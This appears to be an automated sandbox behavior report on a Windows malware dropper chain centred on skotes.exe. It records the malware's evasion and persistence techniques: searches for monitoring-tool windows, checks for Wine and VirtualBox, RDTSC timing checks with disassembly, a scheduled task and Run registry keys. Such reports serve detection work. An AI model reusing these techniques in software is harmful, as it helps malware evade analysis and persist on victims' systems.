Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a20612cd1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5a20612cd1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0882197cda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0882197cda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6693ff7180.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6693ff7180.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c573f8941.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c573f8941.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5B55F0

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12313CA second address: 12313E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FECC5126361h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12313E4 second address: 1231425 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC5476B2Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jl 00007FECC5476B26h 0x00000013 jmp 00007FECC5476B34h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FECC5476B32h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231425 second address: 1231431 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231431 second address: 1231435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1231435 second address: 1231445 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FECC5126362h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123031D second address: 1230321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230321 second address: 1230327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230327 second address: 123032D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230478 second address: 1230480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12305C7 second address: 12305CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12305CB second address: 12305CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12305CF second address: 12305E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12305E1 second address: 12305E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230738 second address: 123074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123074C second address: 1230752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230752 second address: 1230778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FECC5476B26h 0x0000000e jmp 00007FECC5476B38h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12308DE second address: 12308E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12308E2 second address: 12308F3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FECC5476B26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12308F3 second address: 1230900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FECC5126356h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230A77 second address: 1230A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B31h 0x00000007 jmp 00007FECC5476B30h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230C05 second address: 1230C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FECC5126358h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FECC5126363h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
